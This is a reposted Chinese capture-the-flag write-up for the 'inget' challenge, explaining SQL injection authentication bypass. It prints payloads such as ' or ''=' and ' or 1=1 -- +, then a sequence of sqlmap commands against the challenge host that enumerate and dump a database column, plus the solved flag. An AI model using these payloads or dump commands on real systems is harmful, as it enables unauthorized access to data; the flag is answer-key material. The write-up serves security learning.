0


攻防世界-inget(简单的SQL注入、万能密码)

1、手工注入(万能密码原理)

打开链接,提示输入id并尝试绕过

尝试一下万能密码,使用逻辑语句使结果返回

构造payload

/?id=' or ''='

我们这里是以get传参的方式在前端给id传了个值,后端会对我们提交的内容进行查询

比如我们提交的是 id=123

而到后端大概会呈现出来的部分内容就是 'id=123'

会有单引号将这个内容引起来进行查询

这样我们就好理解上面payload的原理了

我们传入 id=' or ''=' 实际上到了后端大概是这样子 'id=' or ''=''

对于我们传入的四个单引号的解释:

第一个单引号,与查询时前面的单引号形成闭合;

第二个单引号,与查询时后面的单引号形成闭合;

第三和第四个单引号实际上只是使等号成立的内容,即'='

我们知道or的两边只要有一边成立,结果就为真,而 单引号=单引号 这个肯定是恒成立的

我们将 '=' 换成 1=1 也是可以的

即payload

/?id=' or '1=1

这里还有一个payload

/?id=' or 1=1 -- +

第一个单引号同样是与查询时前面的单引号形成闭合,而 --+ 起注释作用,将后面的语句注释掉

更多详细的SQL手工注入基础知识及流程可参考我前面的博客

http://t.csdn.cn/mFNQA

结果一样

得到 Flag Is : cyberpeace{818e277716501adc71a98b501c4d7a99}

2、sqlmap实现

下面我们使用sqlmap来注入

关于sqlmap的介绍和使用也在前面的博客中有详细介绍,可以参考

http://t.csdn.cn/8xeJ1

先用sqlmap大概检查一下

sqlmap -u "http://61.147.171.105:54285/?id=1"

尝试列出所以数据库

sqlmap -u "http://61.147.171.105:54285/?id=1" --dbs

可以看到有一个名为cyber的数据库,我们指定列出它的表

列出指定数据库的表

sqlmap -u "http://61.147.171.105:54285/?id=1" -D cyber --tables

可以看到这个数据库里只有一个表,且和数据库同名

我们继续列出指定表的字段

sqlmap -u "http://61.147.171.105:54285/?id=1" -D cyber -T cyber --columns

尝试获取指定字段中的数据

sqlmap -u "http://61.147.171.105:54285/?id=1" -D cyber -T cyber -C pw --dump

拿到flag

cyberpeace{818e277716501adc71a98b501c4d7a99}

3、常用参数

总结一些sqlmap常用的参数:

-D 选择使用哪个数据库

-T 选择使用哪个表

-C 选择使用哪个列

--tables 列出当前的表

--columns 列出当前的列

--dump 获取字段中的数据


本文转载自: https://blog.csdn.net/Myon5/article/details/130161474
版权归原作者 kali-Myon 所有, 如有侵权,请联系我们删除。

“攻防世界-inget(简单的SQL注入、万能密码)”的评论:

还没有评论